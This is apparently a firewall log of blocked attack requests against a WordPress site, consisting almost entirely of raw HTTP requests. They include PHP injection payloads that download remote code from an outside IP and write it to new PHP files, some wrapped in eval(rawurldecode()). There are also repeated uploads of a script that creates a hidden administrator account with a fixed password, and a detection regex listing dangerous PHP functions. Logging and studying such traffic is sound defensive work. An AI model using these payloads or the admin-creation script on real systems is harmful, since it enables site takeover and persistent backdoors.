3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:176\n\niT=%3C%3Fphp%20%20file_put_contents%28%27adminupevents.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/xGQmGeuYcp%27%29%29%3B"]
["2026-05-12 13:59:55","107.155.87.193","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Va:%3C%3Fphp%20%20file_put_contents%28%27mtupgrade.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/KYfKJrgnmc%27%29%29%3B","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:172\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\n\nVa=%3C%3Fphp%20%20file_put_contents%28%27mtupgrade.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/KYfKJrgnmc%27%29%29%3B"]
["2026-05-12 14:00:00","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HN:%3C%3Fphp%20%20file_put_contents%28%27random1.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PeCDvGMFTX%27%29%29%3B","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:170\n\nHN=%3C%3Fphp%20%20file_put_contents%28%27random1.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PeCDvGMFTX%27%29%29%3B"]
["2026-05-12 14:00:14","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jp:%3C%3Fphp%20%20file_put_contents%28%27Portfolio.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/mWKzSmmych%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:172\n\njp=%3C%3Fphp%20%20file_put_contents%28%27Portfolio.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/mWKzSmmych%27%29%29%3B"]
["2026-05-12 14:00:34","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gk:%3C%3Fphp%20%20file_put_contents%28%27Portfolio.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/yMNCfITWlh%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:172\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\n\nGk=%3C%3Fphp%20%20file_put_contents%28%27Portfolio.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/yMNCfITWlh%27%29%29%3B"]
["2026-05-12 14:00:39","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27danish.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/VpNqZySPGS%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:192\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-ch-ua-mobile:?0\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27danish.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/VpNqZySPGS%27%29%29%3B\"));"]
["2026-05-12 14:01:34","70.35.197.192","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=afafb613597d2644d275879ddb3a2d41\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--afafb613597d2644d275879ddb3a2d41\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--afafb613597d2644d275879ddb3a2d41\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--afafb613597d2644d275879ddb3a2d41\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--afafb613597d2644d275879ddb3a2d41\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--afafb613597d2644d275879ddb3a2d41\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--afafb613597d2644d275879ddb3a2d41\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovapbdafe.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--afafb613597d2644d275879ddb3a2d41--\r\n"]
["2026-05-12 14:02:03","70.35.197.192","POST","\/wp-content\/plugins\/tvdqv\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/tvdqv\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=1f67ceffc00e9b1da94bd90d99e0b094\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--1f67ceffc00e9b1da94bd90d99e0b094\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--1f67ceffc00e9b1da94bd90d99e0b094\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--1f67ceffc00e9b1da94bd90d99e0b094\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--1f67ceffc00e9b1da94bd90d99e0b094\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--1f67ceffc00e9b1da94bd90d99e0b094\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--1f67ceffc00e9b1da94bd90d99e0b094\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovaiyvjlv.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--1f67ceffc00e9b1da94bd90d99e0b094--\r\n"]
["2026-05-12 14:02:13","70.35.197.192","POST","\/wp-content\/plugins\/hodda\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/hodda\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=2936779ed439bc1d8f60c6445a8c6497\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--2936779ed439bc1d8f60c6445a8c6497\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--2936779ed439bc1d8f60c6445a8c6497\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--2936779ed439bc1d8f60c6445a8c6497\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--2936779ed439bc1d8f60c6445a8c6497\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--2936779ed439bc1d8f60c6445a8c6497\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--2936779ed439bc1d8f60c6445a8c6497\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovamdueoo.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--2936779ed439bc1d8f60c6445a8c6497--\r\n"]
["2026-05-12 14:02:18","70.35.197.192","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=b0e9c635f71cf592afc1ca67ded0651d\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--b0e9c635f71cf592afc1ca67ded0651d\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--b0e9c635f71cf592afc1ca67ded0651d\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--b0e9c635f71cf592afc1ca67ded0651d\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--b0e9c635f71cf592afc1ca67ded0651d\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--b0e9c635f71cf592afc1ca67ded0651d\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--b0e9c635f71cf592afc1ca67ded0651d\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovataysnp.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--b0e9c635f71cf592afc1ca67ded0651d--\r\n"]
["2026-05-12 14:03:11","70.35.197.192","POST","\/wp-content\/plugins\/ngarw\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ngarw\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=2a9c185f2cc0b23b523b0e5971328900\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--2a9c185f2cc0b23b523b0e5971328900\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--2a9c185f2cc0b23b523b0e5971328900\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--2a9c185f2cc0b23b523b0e5971328900\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--2a9c185f2cc0b23b523b0e5971328900\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--2a9c185f2cc0b23b523b0e5971328900\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--2a9c185f2cc0b23b523b0e5971328900\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovanhzhdv.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--2a9c185f2cc0b23b523b0e5971328900--\r\n"]
["2026-05-12 14:03:27","70.35.197.192","POST","\/wp-content\/plugins\/qrjoo\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/qrjoo\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=28609e44972616f2e244efb86028873a\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--28609e44972616f2e244efb86028873a\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--28609e44972616f2e244efb86028873a\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--28609e44972616f2e244efb86028873a\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--28609e44972616f2e244efb86028873a\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--28609e44972616f2e244efb86028873a\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--28609e44972616f2e244efb86028873a\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovaiqosyo.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--28609e44972616f2e244efb86028873a--\r\n"]
